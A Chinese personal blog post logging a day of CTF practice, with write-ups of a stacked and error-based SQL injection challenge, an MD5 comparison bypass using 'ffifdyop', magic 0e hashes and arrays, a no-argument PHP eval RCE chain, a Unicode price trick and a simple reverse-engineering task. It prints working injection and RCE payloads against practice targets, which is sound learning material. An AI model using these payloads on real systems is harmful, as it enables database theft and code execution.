CTF打卡~Day9

发布于 2020-04-27  1040 次阅读


报错注入

https://www.cnblogs.com/laoxiajiadeyun/p/10488731.html

extractvalue()和updatexml(),这题屏蔽了update,所以只能用 extractvalue()

本题用法

#查用户
?inject=1' and (extractvalue(1,concat('~',user())));#
#查数据库
?inject=1' and (extractvalue(1,concat('~',database())));#

学习到,报错注入的基础:

extractvalue(1,concat('~',{指令}))

故意拼接出~{指令}这个错误的查询条件,让其在报错的时候输出我们要的指令

堆叠注入

?inject=1'; show databases;#
?inject=1'; show tables from {..};#

这题可以用分号分割多个命令来进行堆叠注入

预加载

SET @sql=concat('se','lect * from `1919810931114514`;'); PREPARE ss from @sql; EXECUTE ss;#

可以通过预加载一个@sql命令,在这个命令中可供concat来组合字符串,绕过关键字检测。这题里还有strstr()来检测set和prepare的,但是strstr()不检测大小写,so...直接大写就好了。另外,在预加载sql语句的时候内部的引号需要用反引号`待替。

官方WP中的改表名的方法确实没有想到...

根据两个表的情况结合实际查询出结果的情况判断出words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id

这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag 将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

这段代码的意思是将words表名改为words1,1919810931114514表名改为words,将现在的words表中的flag列名改为id 然后用1' or 1=1 #得到flag

BJDCTF2020 EasyMD5

试了老半天才发现Header里面藏了私货

select * from admin where password = md5($password,true)

老方法了,直接输入md5注入万能密码 ffifdyop (md5加密后的hex解开是'or'6<trash>),导致了下一步的

$result=mysqli_query($link,$sql);
        if(mysqli_num_rows($result)>0)

判断直接通过。

第二个页面,查看源代码:

$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.

这里有两种方法,一是用万能密码(加密后的md5以0e开头,判断时会当成0处理)

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

另一种方法是用数组绕过。这题的payload可以是a[]=nmsl&b[]=666

php中的函数不支持数组,因此在加密数组的时候会直接返回一个null

第三步也是一样用数组绕过,就不详细写了(之前我好像写过类似的题来着)

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

[GXYCTF2019]禁止套娃

这是一个经典的无参数RCE

但是这题需要Githack,我用了Githack,Githacker,ExtractGit来hack/.git/文件夹得到的都是一个空的库QAQ,不知道是不是buuoj的锅。

从网上搞来的其他人hack下来的源码:

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

分了三个判断

  • 第一个判断就是为了防止直接读取文件的
  • 第二个if(';' === preg_replace('/[a-z,_]+((?R)?)/', NULL, $_GET['exp']))就是经典的无参数RCE,只允许字母的函数嵌套字母的函数((?R)?)就是无限套娃括号里的参数为前面的[a-z,_]。例如 a(b(c()))等等,但是不允许出现没有括号的情况和使用引号的情况
  • 第三个就是Ban掉了一些函数...加大难度

这一题的主要难点就是第二个if判断。也就是除了;以外都要符合其前面的嵌套条件。这里需要一些奇淫技巧了( https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#%E4%BB%80%E4%B9%88%E6%98%AF%E6%97%A0%E5%8F%82%E6%95%B0%E5%87%BD%E6%95%B0RCE ):

  • localeconv() 返回的是包含本地数字及货币格式信息的数组,第一项就是'.'
  • current() 默认返回数组的第一个值
  • array_reverse() 以相反的元素顺序返回数组
  • array_flip() 交换数组的键和值
  • array_rand() 从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回
  • 我们可以用scandir(current(localeconv()))来取用当前目录
  • 用来array_rand(array_flip(scandir(current(localeconv()))))随机取用当前目录下的文件

由于flag.php位于scandir()出来的文件的倒数第二个,因此取用有些麻烦。

最终通过的payload是highlight_file(array_rand(array_flip(scandir(current(localeconv()))))); 不断刷新就出来了。

在别的师傅的wp上还找到将数组next(array_reverse())这样的解法,蛮牛逼的

另外还有改Headers,然后getallheaders()取用字符串,以及 请求包中cookie:PHPSESSID=flag.php然后用session_id(session_start())来取用这样的骚操作。以后说不定用得着。

[ASIS 2019]Unicorn shop

这题是要买第四个独角兽才能拿到flag

随便交了一个空表上去结果爆出来一个错

Traceback (most recent call last):
  File "/usr/local/lib/python2.7/site-packages/tornado/web.py", line 1541, in _execute
    result = method(*self.path_args, **self.path_kwargs)
  File "/app/sshop/views/Shop.py", line 34, in post
    unicodedata.numeric(price)
TypeError: need a single Unicode character as parameter

注意到unicodedata.numeric(price),说明这题的价格实际上是一位unicode字符的Numberic Value。

所以只要找到一个Unicode字符的Numberic Value大于1334,即可获得flag

网上看到一堆人还去 https://www.compart.com/en/unicode/ 上去找一堆奇奇怪怪的字符

啧啧,别忘了咱中华文化博大精深啊

DUCTF re1

IDA转换:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  __int128 v5; // [esp+0h] [ebp-44h]
  __int64 v6; // [esp+10h] [ebp-34h]
  int v7; // [esp+18h] [ebp-2Ch]
  __int16 v8; // [esp+1Ch] [ebp-28h]
  char v9; // [esp+20h] [ebp-24h]

  _mm_storeu_si128((__m128i *)&v5, _mm_loadu_si128((const __m128i *)&xmmword_413E34));// 3074656D30633165577B465443545544h
  v7 = 0;
  v6 = qword_413E44;                            // 7D465443545544h
  v8 = 0;
  printf("欢迎来到DUTCTF呦\n");
  printf("这是一道很可爱很简单的逆向题呦\n");
  printf("输入flag吧:");
  scanf("%s", &v9);
  v3 = strcmp((const char *)&v5, &v9);
  if ( v3 )
    v3 = -(v3 < 0) | 1;
  if ( v3 )
    printf(aFlag_0);
  else
    printf((const char *)&unk_413E90);
  system("pause");
  return 0;
}

因为看到了strcmp((const char *)&v5, &v9);就大致猜到v5就是答案

再看_mm_storeu_si128((__m128i *)&v5, _mm_loadu_si128((const __m128i *)&xmmword_413E34));// 3074656D30633165577B465443545544h,这个 _mm_storeu_si128 的作用类似于赋值,于是找到 xmmword_413E34 然后按R键就可以了QAQ不过可能由于是小端存储的原因,他的顺序是倒过来的

no-strings-attached

在kali和win ubuntu bash里面都运行不了,正在学习IDAPython,没写完...明天再继续了

我玛卡巴卡还能说什么_我玛_卡巴_什么表情

今天还有在写[CISCN2019 华北赛区 Day1 Web1]Dropbox 有点复杂,也还是明天继续...